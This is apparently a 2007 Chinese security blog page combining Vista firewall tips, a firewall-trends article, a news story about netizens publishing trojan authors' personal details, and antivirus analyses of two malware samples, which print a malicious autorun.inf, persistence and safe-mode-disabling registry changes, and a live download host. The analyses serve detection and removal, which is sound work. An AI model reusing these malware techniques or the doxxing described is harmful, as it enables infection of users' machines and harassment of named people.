星期四, 九月 06, 2007

菜鸟必读:Vista防火墙使用10大注意事项

菜鸟必读:Vista防火墙使用10大注意事项

  赛迪网 作者:老刘

  微软对Vista中的Windows防火墙做了重大改变,从而增强了安全性,让高级用户更容易配置及定制,同时保留了新手用户所需的简洁性。

  以下是网友整理的Windows Vista防火墙使用,希望能对您有所帮助,不要让Windows Vista强大的防火墙无所事事。

  一、采用两种界面来满足不同需求

  Vista防火墙有两种独立的图形配置界面: 一是基本的配置界面,可以通过“安全中心”和“控制面板”来访问; 二是高级配置界面,用户在创建自定义的MMC后,可作为插件来访问。这可以防止新手用户无意中的改变而导致连接中断,又为高级用户对防火墙设置进行更细化地定制以及控制出站和入站流量提供了一种方法。用户还可以在netsh advfirewall上下文中使用命令,从命令行对Vista防火墙进行配置; 也可以编写脚本,针对一组计算机自动对防火墙进行配置; 还可以通过组策略来控制Vista防火墙的设置。

  二、默认设置下的安全

  Vista中的 Windows防火墙在默认状态下采用安全配置,同时仍支持最佳易用性。默认状态下,大多数入站流量被阻挡,出站连接被允许。Vista防火墙可与 Vista的Windows服务加固这项新功能协同工作,所以如果防火墙检测到被Windows服务加固网络规则禁止的行为,它就会阻挡该行为。防火墙还完全支持纯IPv6的网络环境。

  三、基本配置选项

  利用基本配置界面,用户可以启动或者关闭防火墙,或者设置防火墙完全阻挡所有程序; 还可以允许有例外情况存在(可以指定不阻挡哪些程序、服务或者端口),并且指定每种例外情况的范围(是否适用于来自所有计算机的流量,包括互联网上的计算机、局域网/子网上的计算机,或者是你指定了IP地址或者子网的计算机); 还可以指定希望防火墙保护哪些连接,并且配置安全日志和ICMP设置。

  四、ICMP消息阻挡

  默认状态下,入站ICMP回应请求可以通过防火墙,而其他所有ICMP信息被阻挡在外。这是因为,Ping工具定期用来发送回应请求消息,用于故障诊断。不过,黑客也可以发送回应请求消息来锁定目标主机。用户可以通过基本配置界面上的“高级”选项卡,阻挡回应请求消息。

  五、多个防火墙配置文件

  附带高级安全MMC插件的Vista防火墙可以让用户在计算机上创建多个防火墙配置文件,那样就可以针对不同环境使用不同的防火墙配置。这对便携式计算机来说特别有用。譬如说,当用户连接到公共无线热点时,可能需要比连接到家庭网络时更安全的配置。用户最多可以创建三个防火墙配置文件: 一个用于连接到Windows域、一个用于连接到专用网络,另一个用于连接到公共网络。

  六、IPSec功能

  通过高级配置界面,用户可以定制IPSec设置,指定用于加密和完整性的安全方法、确定密钥的生命周期按时间计算还是按会话计算,并且选择所需的Diffie-Hellman密钥交换算法。默认状态下,IPSec连接的数据加密功能是禁用的,但可以启用它,并且选择哪些算法用于数据加密和完整性。

  七、安全规则

  通过向导程序,用户可以逐步创建安全规则,从而控制单台计算机或者一组计算机之间如何及何时建立安全连接; 也可以根据域成员或者安全状况等标准来限制连接,但允许指定的计算机可以不符合连接验证要求; 还可以创建规则,要求两台特定的计算机(服务器到服务器)连接时需要验证,或者使用隧道规则对网关之间的连接进行验证。

  八、自定义的验证规则

  在创建自定义的验证规则时,要指定单台计算机或者一组计算机(通过IP地址或者地址范围)成为连接端点。用户可以请求或者要求对入站连接、出站连接或者两者进行验证。

  九、入站和出站规则

  用户可以创建入站和出站规则,从而阻挡或者允许特定程序或者端口进行连接; 可以使用预先设置的规则,也可以创建自定义规则,“新建规则向导”可以帮用户逐步完成创建规则的步骤; 用户可以将规则应用于一组程序、端口或者服务,也可以将规则应用于所有程序或者某个特定程序; 可以阻挡某个软件进行所有连接、允许所有连接,或者只允许安全连接,并要求使用加密来保护通过该连接发送的数据的安全性; 可以为入站和出站流量配置源IP地址及目的地IP地址,同样还可以为源TCP和UDP端口及目的地TCP和UPD端口配置规则。

  十、基于活动目录的规则

  用户可以创建规则来阻挡或者允许基于活动目录用户、计算机或者组账户的连接,只要连接通过带有Kerberos v5(包含活动目录账户信息)的IPSec来保护安全。用户还可以使用具有高级安全功能的Windows防火墙,执行网络访问保护(NAP)策略。

  Windows Meeting Space(WMS)是Windows Vista内置的一个新程序,它便于最多10个协作者共享桌面、文件和演示文档,并通过网络传送个人消息给对方。

防火墙技术详细说明及技术发展趋势

来源:赛迪网-技术社区 作者:皇冠

一、防火墙技术发展概述

传统的防火墙通常是基于访问控制列表(ACL)进行包过滤的,位于在内部专用网的入口处,所以也俗称"边界防火墙"。随着防火墙技术的发展,防火墙技术也得到了发展,出现了一些新的防火墙技术,如电路级网关技术、应用网关技术和动态包过滤技术,在实际运用中,这些技术差别非常大,有的工作在OSI参考模式的网络层,;有的工作在传输层,还有的工作在应用层。

在这些已出现的防火墙技术中,静态包过滤是最差的安全解决方案,其应用存在着一些不可克服的限制,最明显的表现就是不能检测出基于用户身份的地址欺骗型数据包,并且很容易受到诸如DoS(拒绝服务)、IP地址欺诈等黑客攻击。现在已基本上没有防火墙厂商单独使用这种技术。应用层网关和电路级网关是比较好的安全解决方案,它们在应用层检查数据包。但是,我们不可能对每一个应用都运行这样一个代理服务器,而且部分应用网关技术还要求客户端安装有特殊的软件。这两种解决方案在性能上也有很大的不足之处。动态包过滤是基于连接状态对数据包进行检查,由于动态包过滤解决了静态包过滤的安全限制,并且比代理技术在性能上有了很大的改善,因而目前大多数防火墙厂商都采用这种技术。但是随着主动攻击的增多,状态包过滤技术也面临着巨大的挑战,更需要其它新技术的辅助。

除了访问控制功能外,现在大多数的防火墙制造商在自己的设备上还集成了其它的安全技术,如NAT和VPN、病毒防护等。

二、防火墙未来的技术发展趋势

随着新的网络攻击的出现,防火墙技术也有一些新的发展趋势。这主要可以从包过滤技术、防火墙体系结构和防火墙系统管理三方面来体现。

1. 防火墙包过滤技术发展趋势

(1). 一些防火墙厂商把在AAA系统上运用的用户认证及其服务扩展到防火墙中,使其拥有可以支持基于用户角色的安全策略功能。该功能在无线网络应用中非常必要。具有用户身份验证的防火墙通常是采用应用级网关技术的,包过滤技术的防火墙不具有。用户身份验证功能越强,它的安全级别越高,但它给网络通信带来的负面影响也越大,因为用户身份验证需要时间,特别是加密型的用户身份验证。

(2). 多级过滤技术

所谓多级过滤技术,是指防火墙采用多级过滤措施,并辅以鉴别手段。在分组过滤(网络层)一级,过滤掉所有的源路由分组和假冒的IP源地址;在传输层一级,遵循过滤规则,过滤掉所有禁止出或/和入的协议和有害数据包如nuke包、圣诞树包等;在应用网关(应用层)一级,能利用FTP、SMTP等各种网关,控制和监测Internet提供的所用通用服务。这是针对以上各种已有防火墙技术的不足而产生的一种综合型过滤技术,它可以弥补以上各种单独过滤技术的不足。

这种过滤技术在分层上非常清楚,每种过滤技术对应于不同的网络层,从这个概念出发,又有很多内容可以扩展,为将来的防火墙技术发展打下基础。

(3). 使防火墙具有病毒防护功能。现在通常被称之为"病毒防火墙",当然目前主要还是在个人防火墙中体现,因为它是纯软件形式,更容易实现。这种防火墙技术可以有效地防止病毒在网络中的传播,比等待攻击的发生更加积极。拥有病毒防护功能的防火墙可以大大减少公司的损失。

2. 防火墙的体系结构发展趋势

随着网络应用的增加,对网络带宽提出了更高的要求。这意味着防火墙要能够以非常高的速率处理数据。另外,在以后几年里,多媒体应用将会越来越普遍,它要求数据穿过防火墙所带来的延迟要足够小。为了满足这种需要,一些防火墙制造商开发了基于ASIC的防火墙和基于网络处理器的防火墙。从执行速度的角度看来,基于网络处理器的防火墙也是基于软件的解决方案,它需要在很大程度上依赖于软件的性能,但是由于这类防火墙中有一些专门用于处理数据层面任务的引擎,从而减轻了CPU的负担,该类防火墙的性能要比传统防火墙的性能好许多。

与基于ASIC的纯硬件防火墙相比,基于网络处理器的防火墙具有软件色彩,因而更加具有灵活性。基于ASIC的防火墙使用专门的硬件处理网络数据流,比起前两种类型的防火墙具有更好的性能。但是纯硬件的ASIC防火墙缺乏可编程性,这就使得它缺乏灵活性,从而跟不上防火墙功能的快速发展。理想的解决方案是增加ASIC芯片的可编程性,使其与软件更好地配合。这样的防火墙就可以同时满足来自灵活性和运行性能的要求。

首信CF-2000 系列EP-600和CG-600高端千兆防火墙即采用了功能强大的可编程专有ASIC芯片作为专门的安全引擎,很好地兼顾了灵活性和性能的需要。它们可以以线速处理网络流量,而且其性能不受连接数目、包大小以及采用何种策略的影响。该款防火墙支持QoS,所造成的延迟可以达到微秒量级,可以满足各种交互式多媒体应用的要求。浙大网新也在杭州正式发布三款基于ASIC芯片的网新易尚千兆系列网关防火墙,据称,其ES4000防火墙速度达到4Gbps,3DES速度可达600Mbps。易尚系列千兆防火墙还采用了最新的安全网关概念,集成了防火墙、VPN、IDS、防病毒、内容过滤和流量控制等多项功能。

3. 防火墙的系统管理发展趋势


防火墙的系统管理也有一些发展趋势,主要体现在以下几个方面:


(1). 首先是集中式管理,分布式和分层的安全结构是将来的趋势。集中式管理可以降低管理成本,并保证在大型网络中安全策略的一致性。快速响应和快速防御也要求采用集中式管理系统。目前这种分布式防火墙早已在Cisco(思科)、3Com等大的网络设备开发商中开发成功,也就是目前所称的"分布式防火墙"和"嵌入式防火墙"。关于这一新技术在本篇下面将详细介绍。


(2). 强大的审计功能和自动日志分析功能。这两点的应用可以更早地发现潜在的威胁并预防攻击的发生。日志功能还可以管理员有效地发现系统中存的安全漏洞,及时地调整安全策略等各方面管理具有非常大的帮助。不过具有这种功能的防火墙通常是比较高级的,早期的静态包过滤防火墙是不具有的。

(3). 网络安全产品的系统化


随着网络安全技术的发展,现在有一种提法,叫做"建立以防火墙为核心的网络安全体系"。因为我们在现实中发现,仅现有的防火墙技术难以满足当前网络安全需求。通过建立一个以防火墙为核心的安全体系,就可以为内部网络系统部署多道安全防线,各种安全技术各司其职,从各方面防御外来入侵。


如现在的IDS设备就能很好地与防火墙一起联合。一般情况下,为了确保系统的通信性能不受安全设备的影响太大,IDS设备不能像防火墙一样置于网络入口处,只能置于旁路位置。而在实际使用中,IDS的任务往往不仅在于检测,很多时候在IDS发现入侵行为以后,也需要IDS本身对入侵及时遏止。显然,要让处于旁路侦听的IDS完成这个任务又太难为,同时主链路又不能串接太多类似设备。在这种情况下,如果防火墙能和IDS、病毒检测等相关安全产品联合起来,充分发挥各自的长处,协同配合,共同建立一个有效的安全防范体系,那么系统网络的安全性就能得以明显提升。


目前主要有两种解决办法:一种是直接把IDS、病毒检测部分直接"做"到防火墙中,使防火墙具有IDS和病毒检测设备的功能;另一种是各个产品分立,通过某种通讯方式形成一个整体,一旦发现安全事件,则立即通知防火墙,由防火墙完成过滤和报告。目前更看重后一种方案,因为它实现方式较前一种容易许多。


三、分布式防火墙技术


在前面已提到一种新的防火墙技术,即分布式防火墙技术已在逐渐兴起,并在国外一些大的网络设备开发商中得到了实现,由于其优越的安全防护体系,符合未来的发展趋势,所以这一技术一出现便得到许多用户的认可和接受。下面我们就来介绍一下这种新型的防火墙技术。


1. 分布式防火墙的产生


因为传统的防火墙设置在网络边界,外于内、外部互联网之间,所以称为"边界防火墙(Perimeter Firewall)"。随着人们对网络安全防护要求的提高,边界防火墙明显感觉到力不从心,因为给网络带来安全威胁的不仅是外部网络,更多的是来自内部网络。但边界防火墙无法对内部网络实现有效地保护,除非对每一台主机都安装防火墙,这是不可能的。基于此,一种新型的防火墙技术,分布式防火墙(Distributed Firewalls)技术产生了。它可以很好地解决边界防火墙以上的不足,当然不是为每对路主机安装防火墙,而是把防火墙的安全防护系统延伸到网络中各对台主机。一方面有效地保证了用户的投资不会很高,另一方面给网络所带来的安全防护是非常全面的。


我们都知道,传统边界防火墙用于限制被保护企业内部网络与外部网络(通常是互联网)之间相互进行信息存取、传递操作,它所处的位置在内部网络与外部网络之间。实际上,所有以前出现的各种不同类型的防火墙,从简单的包过滤在应用层代理以至自适应代理,都是基于一个共同的假设,那就是防火墙把内部网络一端的用户看成是可信任的,而外部网络一端的用户则都被作为潜在的攻击者来对待。而分布式防火墙是一种主机驻留式的安全系统,它是以主机为保护对象,它的设计理念是主机以外的任何用户访问都是不可信任的,都需要进行过滤。当然在实际应用中,也不是要求对网络中每对台主机都安装这样的系统,这样会严重影响网络的通信性能。它通常用于保护企业网络中的关键结点服务器、数据及工作站免受非法入侵的破坏。


分布式防火墙负责对网络边界、各子网和网络内部各节点之间的安全防护,所以"分布式防火墙"是一个完整的系统,而不是单一的产品。根据其所需完成的功能,新的防火墙体系结构包含如下部分:


·网络防火墙(Network Firewall):这一部分有的公司采用的是纯软件方式,而有的可以提供相应的硬件支持。它是用于内部网与外部网之间,以及内部网各子网之间的防护。与传统边界防火墙相比,它多了一种用于对内部子网之间的安全防护层,这样整个网络的安全防护体系就显得更加全面,更加可靠。不过在功能与传统的边界式防火墙类似。

·主机防火墙(Host Firewall):同样也有纯软件和硬件两种产品,是用于对网络中的服务器和桌面机进行防护。这也是传统边界式防火墙所不具有的,也算是对传统边界式防火墙在安全体系方面的一个完善。它是作用在同一内部子网之间的工作站与服务器之间,以确保内部网络服务器的安全。这样防火墙的作用不仅是用于内部与外部网之间的防护,还可应用于内部网各子网之间、同一内部子网工作站与服务器之间。可以说达到了应用层的安全防护,比起网络层更加彻底。

·中心管理(Central Managerment):这是一个防火墙服务器管理软件,负责总体安全策略的策划、管理、分发及日志的汇总。这是新的防火墙的管理功能,也是以前传统边界防火墙所不具有的。这样防火墙就可进行智能管理,提高了防火墙的安全防护灵活性,具备可管理性。

网友曝光网络盗号黑客个人资料

面对盗号木马的猖狂作案,有网友选择了用另类的方式予以反击——公布木马制作者的QQ、银行账号、QQ群等个人资料,并借助更多网友的群体智慧挖掘更多的相关线索,最终引起警方的注意继而立案侦查。

  其中最为声势浩大的是一位ID为“反木马联盟”的网友,从7月份开始,“反木马联盟”陆续在360软件百科中公布了“QQ50511”、“天下无马”、“大少爷”等多个木马制造者的个人资料,并宣称“要披露100个制作木马的网络罪犯”,在网络上激起了无数回响。

  网友们对这种做法毁誉参半,但“反木马联盟”始终坚持“以自己的方式来反木马”。8月27日,这种“执着”终于获得回报,扬州市公安局已经受理了网民关于“大少爷木马”的报案,开始对此进行调查取证。

  民间反木马第一枪

  7月31日,一篇题为“叫卖制造木马病毒的黑客QQ号大曝光”的帖子出现在360软件百科的“灰鸽子木马”讨论区中,揭开了一系列“网上追拿盗号高手”风暴的序幕。

  在这一帖子中,网友“反木马联盟”一口气公布了多达100个“公开叫卖木马的黑客”的QQ号或QQ群号,甚至还提供了一个手机号码。据查证,这些QQ群的名字的确与木马有关,诸如“蠕虫高级管理小组”等,部分群已经被删除。

  一石激起千层浪,该帖子的浏览量迅速达到近10万,回帖数过千。而其内容更是被转载到200多个论坛。深受木马盗号之害的网民有了一个绝佳的发泄之地,也有人在帖子中指责“反木马联盟”无聊。

  8月2日,“反木马联盟”再次在360软件百科中曝出“猛料”,在这篇题为“向QQ号为50511的职业木马作者宣战”的帖子中,这位木马作者的名字、所在地、QQ、出生年月、博客地址、照片被全盘托出。据了解,“QQ50511”木马制造者主要靠木马程序盗取QQ号,并在淘宝网上进行销赃获利,50511这一QQ号即是其盗窃获得。

  由于“QQ50511”在网上留下的痕迹很多,有关他的越来越多的真实信息被网友挖掘出来。

  百度贴吧成木马中介?

  然而,就在大家都在“齐讨窃贼”时,8月2日“反木马联盟”发表的另一篇《大快人心:木马作者QQ50511已被腾讯收回,大家再接再厉!》的帖子让整个事件陷入争议之中。

  显然,网友的热论已经被有关方面留意到,号码为50511的QQ号被腾讯方面回收,而“QQ50511”在淘宝上开的QQ号销赃店也已经关闭。8月2日,“反木马联盟”将“腾讯回收50511QQ号”的“喜讯”告知网民时,迎接他的除了喝彩,更有质疑。

  部分网友认为,“反木马联盟”公布这些个人资料,是在炒作自己,甚至有人认为“他自己正是木马制造者,发那些帖,并转载得到处都是,是为自己招揽生意”。据了解,在事件进行过程中,网民的关注度的确呈爆炸式增长,“QQ50511”甚至一度成为百度搜索的热门关键词,而转载帖子的网站更是超过数千家,成为猫扑、腾讯等社区中最炙手可热的帖子。

  但据“反木马联盟”在360软件百科“灰鸽子木马”讨论区中澄清,所有的QQ号码、QQ群号码以及相关资料都是从百度的“木马”吧中收集的。据统计,截至目前,百度“木马”吧已经有3万多篇帖子,其中大多数帖子都与木马交易有关,这里已经成为一个中介市场。而据查实,帖子中的确公布有盗号者的各种联系方式。

  警方已立案侦查

  尽管网友的争论还在继续,但所幸的是这一切已经引起了警方的注意。扬州市公安局的主页显示,网友报告的“大少爷木马病毒”已经于8月27日被受理。目前这一事件已经进入调查取证阶段。

  据了解,“大少爷”是一位专业开发游戏木马的盗号高手,几乎所有流行游戏的木马他都有,共计20余款。有知情人士更透露,“大少爷”的QQ群里有200多个“大客户”,而“小客户”则不计其数。

  据360安全中心的傅盛表示,由于加壳技术的普及,现在要制作一个新的木马门槛很低,一个普通的程序员即可轻易完成,这是木马泛滥的最主要原因。而据一位圈内人士透露,一个木马的售价大概在数千元,如果上述人士提供的数字确切的话,“大少爷”至少已经通过木马牟得了数百万的暴利。

  另据消息称,另一款木马程序“天下无马”的盗号行为也已经被警方立案侦查。

  网上追拿盗号高手还在继续

  近年来,各种以盗号为目的的木马程序因为有利可图而开始大行其道,已经成为互联网上最大的安全隐患。据调查,7成网友表示曾经丢失过QQ密码,同时也有7成网民表示曾丢失过网游账号,其中近1/4的网友丢号的网游装备价值高达500元以上。

  毫无还手之力,只能通过一些杀毒软件、木马查杀工具来被动防御,但这依然无法让网友舒缓“怨气”。各大论坛中仍然陆续有网友将盗号高手的个人资料贴出。

  据了解,就在8月28日,360软件百科中有网友相继贴出了有关“天下无马”和“大少爷”的个人资料。而在该网站中,网友贴出盗号者QQ号码的帖子随出可见。

  一场来自民间的对木马制造和传播的抗争正在被发起。

叫卖制造木马病毒的黑客qq号大曝光(持续更新)

星期三, 九月 05, 2007

Backdoor.Win32.Hupigon.aj/Trojan-Downloader.Win32.Agent.bpp病毒分析报告

Backdoor.Win32.Hupigon.aj分析报告

一、 病毒标签:

病毒名称: Backdoor.Win32.Hupigon.aj

病毒类型: 后门类

文件 MD5: 7BAA195BE639E62C6DB4DA4B8C133A4E

公开范围: 完全公开

危害等级: 4

文件长度: 344,197 字节

感染系统: windows 98以上版本

加壳类型: nSPack 2.1 - 2.5

二、 病毒描述:

该病毒为灰鸽子的变种,病毒运行后,复制自身到系统目录下,衍生病毒文件,并删除自身;病毒运行时病毒文件在系统文件夹下不可见。创建服务,并以服务的方式达到随机启动的目的。在执行时将windows_rerver.DLL插入到IEXPLORER.EXE进程;将windows_rerver_Hook.DLL插入到IEXPLORER.EXE进程和其它相关进程中。记录键盘信息,访问网络下载相关病毒文件;同时等待病毒控制端连接,连接成功后中毒机器会受到远程控制。

三、 行为分析:

1、病毒运行后,复制自身到系统目录下,衍生病毒文件,并删除自身;病毒运行时病毒文件在系统文件夹下不可见:

%WINDIR%\windows_rerver.exe.

%WINDIR%\windows_rerver.DLL.

%WINDIR%\windows_rerver_Hook.DLL.

2、修改注册表值,改变Internet默认设置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Directory

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

3、创建服务,并以服务的方式达到随机启动的目的:

服务名称: windows_rerver

显示名称: windows_rerver

描述: 系统必须服务,如果禁止则开机就自动重起

可执行文件的路径: C:\WINDOWS\windows_rerver.exe

启动方式: 自动

4、查找IEXPLORER.EXE和其它相关进程信息;设置远程线程来执行windows_rerver.DLL和windows_rerver_Hook.DLL, 在执行时将windows_rerver.DLL插入到IEXPLORER.EXE进程;将windows_rerver_Hook.DLL插入到IEXPLORER.EXE进程和其它相关进程中。

5、windows_rerver.DLL以IEXPLORER.EXE进程记录键盘信息,访问网络xiangnii.10mb.cn (219.153.45.148:80) 下载相关病毒文件;等待病毒服务端连接,连接成功后中毒机器会受到远程控制。

注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。Windows2000/NT中默认的安装路径是C:\Winnt\System32,windows95/98/me中默认的安装路径是C:\Windows\System,windowsXP中默认的安装路径是C:\Windows\System32。

%Temp% = C:\Documents and Settings\AAAAA\Local Settings\Temp 当前用户TEMP缓存变量

%Windir%\ WINDODWS所在目录

%DriveLetter%\ 逻辑驱动器根目录

%ProgramFiles%\ 系统程序默认安装目录

%HomeDrive% = C:\ 当前启动的系统的所在分区

%Documents and Settings%\ 当前用户文档根目录

四、 清除方案:

1、使用安天木马防线可彻底清除此病毒(推荐)。

2、手工清除请按照行为分析删除对应文件,恢复相关系统设置。

(1) 使用安天木马防线“进程管理”关闭病毒进程

(2) 删除病毒文件

%WINDIR%\windows_rerver.exe.

%WINDIR%\windows_rerver.DLL.

%WINDIR%\windows_rerver_Hook.DLL.

(3) 恢复病毒修改的注册表项目,删除病毒添加的注册表项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Directory

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4\CachePath

新: 字符串: "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

旧: 字符串: "C:\Documents and Settings\commander\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

(4) 禁用服务windows_rerver

Trojan-Downloader.Win32.Agent.bpp分析报告

一、 病毒标签:

病毒名称: Trojan-Downloader.Win32.Agent.bpp

病毒类型: 木马类

文件 MD5: AAE683231628C36A13713B9AEBEC6BFC

文件 SHA1: F06A86EB127E985DF25BE4F1A55EED3C70819098

公开范围: 完全公开

危害等级: 4

文件长度: 25144 bytes

感染系统: windows 98以上版本

开发工具: Borland Delphi 6.0 - 7.0

加壳类型: FSG 2.0

二、 病毒描述:

该病毒为木马类,病毒运行后复制自身到系统目录,并删除自身。 修改注册表,添加启动项,以达到随机启动的目的。在各个驱动器下创建 autorun.inf文件,从而在打开驱动器时运行同目录下的对应可执行病毒文件。该病毒在各个驱动器下创建autorun.inf前,首先判断驱动器的根目录下是否存在autorun.inf文件或文件夹,如果存在则先尝试删除,如果删除未成功则对其更改文件名或文件夹名,然后创建autorun.inf文件和对应可执行病毒文件。通常的建立autorun.inf文件来进行磁盘免疫方法在该病毒下已不起作用。

三、 行为分析:

1、病毒运行后,复制自身到系统目录下,并删除自身:

%Program Files%\Common Files\Microsoft Shared\cilpnoi.exe

%Program Files%\Common Files\System\duvadvm.exe

%Program Files%\meex.exe

%Program Files%\ssebyly.inf

[DRIVE LETTER]:\ autorun.inf

[DRIVE LETTER]:\ sxulolg.exe

%system%\verclsids.exe(删除原verclsid.exe文件,并建立副本verclsids.exe)

2、在各个驱动器下释放 autorun.inf文件,从而在打开驱动器时运行同目录下的sxulolg.exe 文件, autorun.inf代码如下:

  [Auto Run]

open=sxulolg.exe

shell\open=打开(&O)

shell\open\Command=sxulolg.exe

shell\open\Default=1

shell\explore=资源管理器(&X)

shell\explore\Command=sxulolg.exe

3、修改注册表,添加启动项,以达到随机启动的目的:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

键值: 字串: "ssebyly" = "%Program Files%\Common Files\System\duvadvm.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

键值:字串:"sxulolg"="%Program Files%\Common Files\Microsoft Shared\cilpnoi.exe"

4、删除Internet Settings中的信息,目的为删除用户的历史纪录:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052120070528\CacheLimit

键值: DWORD: 8192 (0x2000)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052120070528\CacheOptions

键值: DWORD: 11 (0xb)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052120070528\CachePrefix

键值: 字符串: ":2007052120070528: "

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052120070528\CacheRepair

键值: DWORD: 0 (0)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052820070529\CacheLimit

键值: DWORD: 8192 (0x2000)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052820070529\CacheOptions

键值: DWORD: 11 (0xb)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052820070529\CachePrefix

键值: 字符串: ":2007052820070529: "

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012007052820070529\CacheRepair

键值: DWORD: 0 (0)

5、删除注册表安全模式的有关信息,当开机时不能启动安全模式:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\@

键值: 字符串: "DiskDrive"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\@

键值: 字符串: "DiskDrive"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\@

键值: 字符串: "DiskDrive"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\@

键值: 字符串: "DiskDrive"

6、改变注册表值使隐藏文件不可见,达到病毒体隐藏目的:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

新: DWORD: 0 (0)

旧: DWORD: 1 (0x1)

7、禁用此计算机上的帮助与支持中心服务:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\helpsvc\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\helpsvc\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

8、禁用网络地址转换、寻址、名称解析、和入侵保护服务:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Start

新: DWORD: 4 (0x4)

